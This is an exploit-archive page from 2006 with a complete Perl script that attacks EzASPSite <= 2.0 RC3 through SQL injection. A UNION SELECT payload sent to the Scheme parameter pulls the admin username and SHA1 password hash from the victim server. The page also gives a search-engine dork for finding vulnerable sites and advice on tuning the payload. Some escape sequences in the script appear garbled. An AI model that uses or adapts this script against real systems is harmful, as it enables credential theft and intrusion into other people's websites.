[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : EzASPSite <= 2.0 RC3 (Scheme) Remote SQL Injection Exploit
# Published : 2006-03-29
# Author : nukedx
# Previous Title : Claroline <= 1.7.4 (scormExport.inc.php) Remote Code Execution Exploit
# Next Title : PHPCollab 2.x / NetOffice 2.x (sendpassword.php) SQL Injection Exploit


#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=22
#Usage: ezasp.pl <host> <path>
#googledork: [ "Powered By EzASPSite v2.0 RC3" ] 62.400 Pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "n- NukedX Security Advisory Nr.2006-22rn";
  print "- EzASPSite <= 2.0 RC3 Remote SQL Injection Exploitrn";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> Path to EzASPSite ex: /ezasp/rn";
  exit();
}
sub exploit () 
{
  #Our variables...
  $ezserver = $ARGV[0];
  $ezserver =~ s/(http://)//eg;
  $ezhost   = "http://".$ezserver;
  $ezdir    = $ARGV[1];
  $ezport   = "80";
  $eztar    = "Default.asp?Scheme=";
  $ezxp     = "-1+UNION+SELECT+0,0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,'NWPX',0,0,0,0,0,0,0+from+tblAuthor+where+Group_ID=1";
  $ezreq    = $ezhost.$ezdir.$eztar.$ezxp;
  #Sending data...
  header();
  print "- Trying to connect: $ezserverrn";
  $ez = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ezserver", PeerPort => "$ezport") || die "- Connection failed...n";
  print $ez "GET $ezreq HTTP/1.1n";
  print $ez "Accept: */*n";
  print $ez "Referer: $ezhostn";
  print $ez "Accept-Language: trn";
  print $ez "User-Agent: NukeZillan";
  print $ez "Cache-Control: no-cachen";
  print $ez "Host: $ezservern";
  print $ez "Connection: closenn";
  print "- Connected...rn";
  while ($answer = <$ez>) {
    if ($answer =~ /<link href="forum/(.*?)" rel="stylesheet"/) {
      print "- Exploit succeed! Getting admin's informationrn";
      print "- USERNAME: $1rn";
    }
    if ($answer =~ /bgcolor="NWPX" background="forum/(.*?)">/) {
      print "- SHA1 HASH of PASSWORD: $1rn";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of EzASPSite is vulnerable toorn";
      print "- but default query of SQL-Inj. does not work on itrn";
      print "- So please edit query by manually adding null data..rn";
      exit(); 
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}

# nukedx.com [2006-03-29]

# www.Syue.com [2006-03-29]